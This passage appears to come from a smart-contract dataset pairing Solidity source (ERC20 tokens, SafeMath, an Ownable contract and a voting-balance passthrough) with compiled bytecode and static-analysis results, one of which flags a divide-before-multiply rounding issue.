* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
require(foundationAddress != address(0) && teamAddress != address(0) && bountyAddress != address(0));
require(SHARE_PURCHASERS + SHARE_FOUNDATION + SHARE_TEAM + SHARE_BOUNTY == 1000);
require(totalSupply_ != 0);
// before calling this method totalSupply includes only purchased tokens
uint256 onePerThousand = totalSupply_ / SHARE_PURCHASERS; //ignore (totalSupply mod 617) ~= 616e-8,
uint256 foundationTokens = onePerThousand * SHARE_FOUNDATION;
uint256 teamTokens = onePerThousand * SHARE_TEAM;
uint256 bountyTokens = onePerThousand * SHARE_BOUNTY;
mint(foundationAddress, foundationTokens);
mint(teamAddress, teamTokens);
mint(bountyAddress, bountyTokens);
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public whenNotPaused {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
/**
* @dev This is an especial owner-only function to make massive tokens minting.
* @param _data is an array of addresses
* @param _amount is an array of uint256
*/
function batchMint(address[] _data,uint256[] _amount) public onlyOwner canMint {
for (uint i = 0; i < _data.length; i++) {
mint(_data[i],_amount[i]);
}
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461019057806306fdde03146101bf578063095ea7b31461024f57806318160ddd146102b45780631c75f085146102df57806323b872dd14610336578063313ce567146103bb578063355274ea146103e65780633f4ba83a1461041157806340c10f191461042857806342966c681461048d5780634bed33b8146104ba57806352ad6468146104e55780635c975abb14610510578063661884631461053f57806368573107146105a457806370a082311461064d57806375cb1bd1146106a4578063761c4524146107275780637d64bcb4146107525780638456cb59146107815780638da5cb5b1461079857806395d89b41146107ef578063a9059cbb1461087f578063c47f0027146108e4578063c516358f1461094d578063d73dd623146109a4578063dd62ed3e14610a09578063f2fde38b14610a80578063f4f5e1c114610ac3578063fcf07c6b14610aee575b600080fd5b34801561019c57600080fd5b506101a5610b45565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610b58565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102145780820151818401526020810190506101f9565b50505050905090810190601f1680156102415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025b57600080fd5b5061029a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf6565b604051808215151515815260200191505060405180910390f35b3480156102c057600080fd5b506102c9610d03565b6040518082815260200191505060405180910390f35b3480156102eb57600080fd5b506102f4610d0d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034257600080fd5b506103a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d33565b604051808215151515815260200191505060405180910390f35b3480156103c757600080fd5b506103d061110e565b6040518082815260200191505060405180910390f35b3480156103f257600080fd5b506103fb611114565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b5061042661111a565b005b34801561043457600080fd5b50610473600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d8565b604051808215151515815260200191505060405180910390f35b34801561049957600080fd5b506104b860048036038101908080359060200190929190505050611420565b005b3480156104c657600080fd5b506104cf6115f6565b6040518082815260200191505060405180910390f35b3480156104f157600080fd5b506104fa6115fc565b6040518082815260200191505060405180910390f35b34801561051c57600080fd5b50610525611601565b604051808215151515815260200191505060405180910390f35b34801561054b57600080fd5b5061058a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611614565b604051808215151515815260200191505060405180910390f35b3480156105b057600080fd5b5061064b60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506118c1565b005b34801561065957600080fd5b5061068e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611993565b6040518082815260200191505060405180910390f35b3480156106b057600080fd5b50610725600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119dc565b005b34801561073357600080fd5b5061073c611bc9565b6040518082815260200191505060405180910390f35b34801561075e57600080fd5b50610767611bce565b604051808215151515815260200191505060405180910390f35b34801561078d57600080fd5b50610796611e8b565b005b3480156107a457600080fd5b506107ad611f4b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107fb57600080fd5b50610804611f70565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610844578082015181840152602081019050610829565b50505050905090810190601f1680156108715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561088b57600080fd5b506108ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061200e565b604051808215151515815260200191505060405180910390f35b3480156108f057600080fd5b5061094b600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061224e565b005b34801561095957600080fd5b506109626122c3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122e9565b604051808215151515815260200191505060405180910390f35b348015610a1557600080fd5b50610a6a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612500565b6040518082815260200191505060405180910390f35b348015610a8c57600080fd5b50610ac1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612587565b005b348015610acf57600080fd5b50610ad86126dc565b6040518082815260200191505060405180910390f35b348015610afa57600080fd5b50610b036126e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600b60009054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bee5780601f10610bc357610100808354040283529160200191610bee565b820191906000526020600020905b815481529060010190602001808311610bd157829003601f168201915b505050505081565b60008060149054906101000a900460ff16151515610c1357600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600754905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060149054906101000a900460ff16151515610d5057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d8c57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dda57600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e6557600080fd5b610eb782600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270790919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4c82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272090919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101e82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270790919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60035481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117557600080fd5b600060149054906101000a900460ff16151561119057600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123557600080fd5b600b60009054906101000a900460ff1615151561125157600080fd5b6008546112698360075461272090919063ffffffff16565b1115151561127657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112b257600080fd5b6112c78260075461272090919063ffffffff16565b60078190555061131f82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272090919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060149054906101000a900460ff1615151561143d57600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561148b57600080fd5b3390506114e082600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270790919063ffffffff16565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115388260075461270790919063ffffffff16565b6007819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b61026981565b60ad81565b600060149054906101000a900460ff1681565b600080600060149054906101000a900460ff1615151561163357600080fd5b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611741576000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117d5565b611754838261270790919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561191e57600080fd5b600b60009054906101000a900460ff1615151561193a57600080fd5b600090505b825181101561198e57611980838281518110151561195957fe5b90602001906020020151838381518110151561197157fe5b906020019060200201516111d8565b50808060010191505061193f565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3757600080fd5b600b60009054906101000a900460ff16151515611a5357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611abd5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611af65750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1515611b0157600080fd5b82600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60a081565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3157600080fd5b600b60009054906101000a900460ff16151515611c4d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611cfb5750600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611d565750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515611d6157600080fd5b6103e8603260a060ad610269010101141515611d7c57600080fd5b600060075414151515611d8e57600080fd5b610269600754811515611d9d57fe5b04935060ad8402925060a084029150603284029050611dde600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d8565b50611e0b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836111d8565b50611e38600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826111d8565b506001600b60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1600194505050505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee657600080fd5b600060149054906101000a900460ff16151515611f0257600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120065780601f10611fdb57610100808354040283529160200191612006565b820191906000526020600020905b815481529060010190602001808311611fe957829003601f168201915b505050505081565b60008060149054906101000a900460ff1615151561202b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561206757600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156120b557600080fd5b61210782600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219c82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272090919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122a957600080fd5b80600190805190602001906122bf92919061273e565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060149054906101000a900460ff1615151561230657600080fd5b61239582600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272090919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125e257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561261e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b603281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115151561271557fe5b818303905092915050565b600080828401905083811015151561273457fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061277f57805160ff19168380011785556127ad565b828001600101855582156127ad579182015b828111156127ac578251825591602001919060010190612791565b5b5090506127ba91906127be565b5090565b6127e091905b808211156127dc5760008160009055506001016127c4565b5090565b905600a165627a7a723058206d68e109344b499dd91b2027761c5e8f357b7db99c845da0fd221d0c6446a7800029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,395 |
0xa66Ae231800f2CB10B493Ea18dF3A55d4A9FFC51
|
/**
* Copyright 2017-2021, bZeroX, LLC. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface VotingPassthrough_ETH_Interface {
function votingBalanceOfNow(
address account)
external
view
returns (uint totalVotes);
}
contract VotingPassthrough_ETH {
function balanceOf(
address account)
external
view
returns (uint256)
{
return VotingPassthrough_ETH_Interface(0xe95Ebce2B02Ee07dEF5Ed6B53289801F7Fc137A4).votingBalanceOfNow(account);
}
}
|
0x6080604052348015600f57600080fd5b506004361060285760003560e01c806370a0823114602d575b600080fd5b605060048036036020811015604157600080fd5b50356001600160a01b03166062565b60408051918252519081900360200190f35b600073e95ebce2b02ee07def5ed6b53289801f7fc137a46001600160a01b031663abbd3ab1836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801560c457600080fd5b505afa15801560d7573d6000803e3d6000fd5b505050506040513d602081101560ec57600080fd5b50519291505056fea264697066735822122049bc4e5662d802b6c56951fa249454a63c492190f8d54c5402d359599a26b0b664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,396 |
0xe52bc4074a6971019f4e514bac53c1816b5bb229
|
pragma solidity ^0.4.21;
// -----------------
//begin Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//end Ownable.sol
// -----------------
//begin ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
//end ERC20Basic.sol
// -----------------
//begin SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//end SafeMath.sol
// -----------------
//begin BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
